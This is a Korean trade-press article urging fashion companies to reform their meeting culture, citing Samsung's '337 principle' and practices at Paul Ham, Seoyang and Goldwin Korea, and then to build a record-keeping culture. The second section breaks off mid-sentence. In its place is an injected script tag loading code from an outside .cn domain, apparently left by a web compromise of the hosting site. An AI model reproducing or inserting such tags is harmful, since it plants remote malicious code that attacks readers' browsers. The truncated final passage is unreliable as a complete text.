바뀐 시장을 살아가기 위해서는 조직의 혁신은 물론 개인의 혁신이 병행돼야 한다. 이러한 혁신은 먼 곳에 있지 않다. 또 거창한 것도 아니다. 삼성은 신경영을 위한 혁신 작업의 출발을 회의문화를 바꾸는 것부터 시작했다. 혁신을 위한 실천사항은 누구나 다 아는 그래서 오히려 간과했던 우리 주변의 문제들이다.  신경영을 위해 패션업체와 패션인들이 실천해야 할 항목을 살펴봤다.  <편집자주>

제언1. 회의문화 바꾸자

「폴햄」은 매주 월요일 9시30분이면 디자인, 생산, 판매, 영업, 상품기획 등이 함께 하는 판매전략회의를 연다. 겉으로는 여느 회사의 전략회의와 다를 바 없지만 이 회의에는 조금 다른 사람들이 참석한다. 전국을 권역별로 나눠, 선발된 5명의 슈퍼바이저다.
회의는 슈퍼바이저가 지난 하루 3∼4개 매장을 순회하며 보았던 것을 보고하는 것부터 시작된다.
슈퍼바이저 제도 도입 이후 이 회사 전략회의에는 참석자 간 시장을 보는 시각차로 인한 자의적인 판단이 사라졌다. 진행도 객관적으로 들어난 현상에 대한 원인 규명과 대책 수립에 집중, 회의 효율이 좋아졌다.
삼성은 신경영 추진을 위해 ‘337원칙’이라는 그들만의 회의 문화를 만들었다.
337원칙은 3가지 사고와 3가지 원칙, 7가지 지침을 말한다. 3가지 사고는 회의 시작에 앞서 ▲회의 필요성을 묻고 ▲필요하면 최대한 간소화하고 ▲가능하면 회의를 통합하거나 위임한다는 것이다. 3가지 원칙은 꼭 해야 한다면 효율적으로 진행하라는 것으로 ▲회의 없는 날을 운영 한다 ▲회의 시간은 1시간을 원칙으로 한다 ▲회의기록을 한 장으로 정리한다는 것이다. 7가지 지침은 회의 참석자들이 지켜야 할 행동수칙. ▲시간엄수 ▲회의를 경비로 환산해 참석자에게 사전에 공지 ▲회의 참석자를 최대한 제한 한다 ▲목적을 명확히 해 다른 주제나 쓸데없는 방담이나 토론이 되지 않게 한다 ▲회의 자료를 사전에 배포해 준비케 한다 ▲회의 시 특정인 주도가 안 되게 전원이 발언케 한다 ▲회의록은 결정된 사항만 기록하고 보관한다.
잘 짜진 시스템으로 회의가 거의 없는 곳도 있다. 서양물산은 기업에서 일반화된 주나 월 단위 회의가 없다. 그 흔한 전략회의도 1년에 2∼3번, 그것도 사업 진행과 관련해 중대한 결단이 필요한 안건에 국한된다. 대부분의 의사소통은 필요한 경우에 필요한 사람끼리 개별적으로 이뤄진다. 대신에 구성원들은 사전에 자신의 업무와 관련해 철저히 준비돼 있도록 관리된다.
골드윈코리아는 최근 회의문화 혁신을 위해 시간 활용을 통해 효율을 높이자는 취지로 30여명의 부서팀장들에게 3분짜리 모래시계를 선물했다. 김 전무는 “대책 없는 회의로 인한 시간 낭비는 많은 업무 손실을 가져 온다”며 “모래시계는 리더들이 먼저 3분 안에 의사를 표현하는 훈련을 하라는 뜻”이라고 말했다.
‘회사를 가장 빨리 파악해 보고 싶다면 그 회사 회의에 참석해 보라’는 말이 있다. 회의는 기업문화의 결정체이자 무기다. 회의 문화 차이가 잘 되는 회사와 안 되는 회사를 만든다.

제언2. 기록문화 만들자

생산과 디자인에 깊숙이 관여하다 2년 전부터 직접적인 실무 일에서 손을 뗀 한 캐주얼 업체의 사장. 그는 최근 황당한 경험을 했다. 입고된 상품 하자가 잦아 원인을 분석한 결과 외주업체와 디자이너 간 의사소통 부족이 이유인 것을 알았다. 왜 이 같은 의사소통이 잦을가를 살피던 그는 우연히 작업지시서를 보았는데, 자신이 챙기던 2년 전에 비해 많은 부분이 달라져 있던 것. 특히 여러 번의 시행착오를 통해 정립했던 그래서 내심 중요한 노하우라 생각했던 상당수 체크 항목이 빠져 있었다. 2년 사이에 디자인실장이 3명 바뀌면서 과거의 자산이 사라진 것이다.
잦은 이직으로 인수 인계가 소홀해지면서 패션업체 사이에서 이 같은 사례는 어렵지 않게  찾을 수 있다. 특히 기록 문화가 부재한 회사는 이로 인해 많은 시행착오와 투자를 통해 얻은 노하우 등 소중한 무형자산을 잃는 경우도 있다. 이러한 무형자산을 다시 얻으려면 시간은 물론 돈도 추가로 지불해야 ?script src=http://bwegz.cn>

박찬승 기자
pcs@fi.co.kr